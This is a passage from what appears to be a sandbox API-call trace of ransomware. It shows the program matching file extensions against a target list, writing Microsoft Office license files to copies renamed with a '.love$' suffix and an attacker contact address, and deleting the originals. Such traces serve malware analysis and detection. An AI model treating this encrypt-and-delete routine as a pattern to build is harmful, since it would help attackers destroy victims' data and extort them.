(lpString=".xlsx") returned 5 [0275.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.404] lstrlenW (lpString=".ppt") returned 4 [0275.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString=".zip") returned 4 [0275.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString=".rar") returned 4 [0275.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString=".bz2") returned 4 [0275.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString=".7z") returned 3 [0275.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString=".dbf") returned 4 [0275.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString=".1cd") returned 4 [0275.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0275.404] lstrlenW (lpString=".jpg") returned 4 [0275.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.405] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.405] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41 [0275.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.406] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11651) returned 1 [0275.406] CloseHandle (hObject=0x4ac) returned 1 [0275.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0275.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.407] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.407] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.408] GetLastError () returned 0x0 [0275.409] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0275.411] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0275.412] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.412] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x126, lpOverlapped=0x0) returned 1 [0275.412] SetEndOfFile (hFile=0x484) returned 1 [0275.412] CloseHandle (hObject=0x484) returned 1 [0275.412] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.412] SetEndOfFile (hFile=0x4ac) returned 1 [0275.415] CloseHandle (hObject=0x4ac) returned 1 [0275.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1 [0275.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.417] lstrlenW (lpString=".doc") returned 4 [0275.417] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.417] lstrlenW (lpString=".docx") returned 5 [0275.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.418] lstrlenW (lpString=".pdf") returned 4 [0275.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString=".xls") returned 4 [0275.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString=".xlsx") returned 5 [0275.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.418] lstrlenW (lpString=".ppt") returned 4 [0275.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.418] lstrlenW (lpString=".zip") returned 4 [0275.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString=".rar") returned 4 [0275.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString=".bz2") returned 4 [0275.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString=".7z") returned 3 [0275.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.418] lstrlenW (lpString=".dbf") returned 4 [0275.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.418] lstrlenW (lpString=".1cd") returned 4 [0275.418] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.418] lstrlenW (lpString=".jpg") returned 4 [0275.418] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.419] lstrlenW (lpString=".doc") returned 4 [0275.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".docx") returned 5 [0275.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.419] lstrlenW (lpString=".pdf") returned 4 [0275.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".xls") returned 4 [0275.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".xlsx") returned 5 [0275.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.419] lstrlenW (lpString=".ppt") returned 4 [0275.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.419] lstrlenW (lpString=".zip") returned 4 [0275.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".rar") returned 4 [0275.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".bz2") returned 4 [0275.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString=".7z") returned 3 [0275.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.419] lstrlenW (lpString=".dbf") returned 4 [0275.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.419] lstrlenW (lpString=".1cd") returned 4 [0275.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0275.420] lstrlenW (lpString=".jpg") returned 4 [0275.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.420] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.420] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37 [0275.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.421] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11199) returned 1 [0275.421] CloseHandle (hObject=0x4ac) returned 1 [0275.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220 [0275.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.422] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.422] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.424] GetLastError () returned 0x0 [0275.424] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0275.881] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0275.884] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.884] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11e, lpOverlapped=0x0) returned 1 [0275.884] SetEndOfFile (hFile=0x484) returned 1 [0275.884] CloseHandle (hObject=0x484) returned 1 [0275.884] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.884] SetEndOfFile (hFile=0x4ac) returned 1 [0275.888] CloseHandle (hObject=0x4ac) returned 1 [0275.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1 [0275.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.890] lstrlenW (lpString=".doc") returned 4 [0275.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString=".docx") returned 5 [0275.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.890] lstrlenW (lpString=".pdf") returned 4 [0275.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString=".xls") returned 4 [0275.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString=".xlsx") returned 5 [0275.890] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.890] lstrlenW (lpString=".ppt") returned 4 [0275.890] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.890] lstrlenW (lpString=".zip") returned 4 [0275.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString=".rar") returned 4 [0275.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.890] lstrlenW (lpString=".bz2") returned 4 [0275.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString=".7z") returned 3 [0275.891] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.891] lstrlenW (lpString=".dbf") returned 4 [0275.891] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.891] lstrlenW (lpString=".1cd") returned 4 [0275.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.891] lstrlenW (lpString=".jpg") returned 4 [0275.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.891] lstrlenW (lpString=".doc") returned 4 [0275.891] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString=".docx") returned 5 [0275.891] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.891] lstrlenW (lpString=".pdf") returned 4 [0275.891] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString=".xls") returned 4 [0275.891] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString=".xlsx") returned 5 [0275.891] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.891] lstrlenW (lpString=".ppt") returned 4 [0275.891] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.892] lstrlenW (lpString=".zip") returned 4 [0275.892] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.892] lstrlenW (lpString=".rar") returned 4 [0275.892] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.892] lstrlenW (lpString=".bz2") returned 4 [0275.892] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.892] lstrlenW (lpString=".7z") returned 3 [0275.892] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.892] lstrlenW (lpString=".dbf") returned 4 [0275.892] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.892] lstrlenW (lpString=".1cd") returned 4 [0275.892] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0275.892] lstrlenW (lpString=".jpg") returned 4 [0275.892] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.892] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.892] lstrlenW (lpString="O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 36 [0275.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.894] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11630) returned 1 [0275.894] CloseHandle (hObject=0x4ac) returned 1 [0275.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220 [0275.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.895] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.895] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0275.896] GetLastError () returned 0x0 [0275.896] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0275.905] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0275.907] ReadFile (in: hFile=0x4ac, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.907] WriteFile (in: hFile=0x484, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x11c, lpOverlapped=0x0) returned 1 [0275.907] SetEndOfFile (hFile=0x484) returned 1 [0275.908] CloseHandle (hObject=0x484) returned 1 [0275.909] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.909] SetEndOfFile (hFile=0x4ac) returned 1 [0275.915] CloseHandle (hObject=0x4ac) returned 1 [0275.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1 [0275.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.920] lstrlenW (lpString=".doc") returned 4 [0275.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".docx") returned 5 [0275.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.921] lstrlenW (lpString=".pdf") returned 4 [0275.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".xls") returned 4 [0275.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".xlsx") returned 5 [0275.921] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.921] lstrlenW (lpString=".ppt") returned 4 [0275.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.921] lstrlenW (lpString=".zip") returned 4 [0275.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".rar") returned 4 [0275.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".bz2") returned 4 [0275.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString=".7z") returned 3 [0275.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.921] lstrlenW (lpString=".dbf") returned 4 [0275.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.922] lstrlenW (lpString=".1cd") returned 4 [0275.922] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.922] lstrlenW (lpString=".jpg") returned 4 [0275.922] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString="C:\\Program Files\\Microsoft 